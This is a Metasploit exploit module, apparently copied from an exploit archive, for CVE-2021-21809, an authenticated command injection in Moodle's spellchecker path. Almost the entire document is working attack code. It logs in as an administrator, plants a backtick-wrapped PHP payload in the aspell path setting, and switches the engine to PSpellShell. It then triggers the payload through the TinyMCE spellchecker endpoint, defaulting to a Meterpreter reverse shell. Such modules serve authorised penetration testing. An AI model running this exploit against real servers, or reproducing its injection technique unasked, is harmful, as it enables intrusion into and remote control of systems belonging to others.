Moodle SpellChecker Path Authenticated Remote Command Execution Exploit CVE-2021-21809 CVE-2013-3630

## https://sploitus.com/exploit?id=1337DAY-ID-36892
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Moodle

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Moodle SpellChecker Path Authenticated Remote Command Execution',
        'Description' => %q{
          Moodle allows an authenticated administrator to define spellcheck settings via the web interface.
          An administrator can update the aspell path to include a command injection. This is extremely
          similar to CVE-2013-3630, just using a different variable.

          This module was tested against Moodle version 3.11.2, 3.10.0, and 3.8.0.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Adam Reiser', # Discovery
          'h00die' # msf module
        ],
        'References' => [
          ['CVE', '2021-21809'],
          ['URL', 'https://talosintelligence.com/vulnerability_reports/TALOS-2021-1277']
        ],
        'DefaultOptions' => { 'Payload' => 'php/meterpreter/reverse_tcp' },
        'Payload' => {
          'BadChars' => "'"
        },
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [['Automatic', {}]],
        'DisclosureDate' => '2021-06-22',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']),
        OptString.new('PASSWORD', [ true, 'Password to authenticate with', '']),
      ]
    )
  end

  def change_aspellpath(value = '')
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
      'vars_get' =>
        {
          'section' => 'systempaths'
        },
      'keep_cookies' => true
    })
    fail_with(Failure::Unreachable, 'Error retrieving settings') unless res
    res.body =~ /sesskey":"([^"]+)"/
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
      'vars_get' =>
        {
          'section' => 'systempaths'
        },
      'vars_post' =>
        {
          'section' => 'systempaths',
          'action' => 'save-settings',
          'sesskey' => Regexp.last_match(1),
          'return' => '',
          's__pathtophp' => '',
          's__pathtodu' => '',
          's__aspellpath' => value,
          's__pathtodot' => '',
          's__pathtogs' => '/usr/bin/gs',
          's__pathtopython' => ''
        },
      'keep_cookies' => true
    })
  end

  def set_spellchecker(checker = '')
    # '' is None in the gui, and is the default
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
      'vars_get' =>
        {
          'section' => 'tinymcespellcheckersettings'
        },
      'keep_cookies' => true
    })
    fail_with(Failure::Unreachable, 'No response received from the target.') unless res
    res.body =~ /sesskey":"([^"]+)"/
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
      'vars_get' =>
        {
          'section' => 'tinymcespellcheckersettings'
        },
      'vars_post' =>
        {
          'section' => 'tinymcespellcheckersettings',
          'action' => 'save-settings',
          'sesskey' => Regexp.last_match(1),
          'return' => '',
          's_tinymce_spellchecker_spellengine' => checker,
          's_tinymce_spellchecker_spelllanguagelist' => '+English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr,German=de,Italian=it,Polish=pl,Portuguese=pt,Spanish=es,Swedish=sv' # default
        },
      'keep_cookies' => true
    })

    fail_with(Failure::Unreachable, 'No response received from the target.') unless res
  end

  def check
    return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online?

    v = moodle_version
    return CheckCode::Detected('Unable to determine moodle version') if v.nil?
    # according to talso advisory, 2021-04-21 - Vendor updated documentation to suggest best practices after installation
    # so maybe this is not going to get patched?  Assuming 3.0.0+
    if Rex::Version.new(v) > Rex::Version.new('3.0.0')
      return CheckCode::Appears("Exploitable Moodle version #{v} detected")
    end

    CheckCode::Safe("Non-exploitable Moodle version #{v} detected")
  end

  def exploit
    print_status("Authenticating as user: #{datastore['USERNAME']}")
    cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])
    fail_with(Failure::NoAccess, 'Unable to login. Check credentials') if cookies.nil? || cookies.empty?
    cookies.each do |cookie|
      cookie_jar.add(cookie)
    end
    print_status('Updating aspell path')
    # Site administration, Server, Server, System paths
    change_aspellpath("`php -r \"#{payload.encoded}\" &`")

    print_status('Changing spell engine to PSpellShell')
    set_spellchecker('PSpellShell')
    # Administration, Plugins, Text editors, TinyMCE HTML editor, Legacy Spell Checker
    spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}'

    print_status('Triggering payload')

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'lib', 'editor', 'tinymce', 'plugins', 'spellchecker', 'rpc.php'),
      'data' => spellcheck,
      'ctype' => 'application/json',
      'keep_cookies' => true
    })

    fail_with(Failure::Unreachable, 'Error triggering payload') if res
  end

  # prefer cleanup over on_session since we may have changed things, regardless of successful exploit
  def cleanup
    print_status('Sleeping 5 seconds before cleanup')
    Rex.sleep(5)
    print_status("Authenticating as user: #{datastore['USERNAME']}")
    cookie_jar.clear # clear cookies to prevent timeouts
    cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])
    if cookies.nil? || cookies.empty?
      print_bad('Failed login during cleanup')
    else
      cookies.each do |cookie|
        cookie_jar.add(cookie)
      end
      print_status('Removing RCE from settings')
      change_aspellpath
      set_spellchecker
    end
    super
  end
end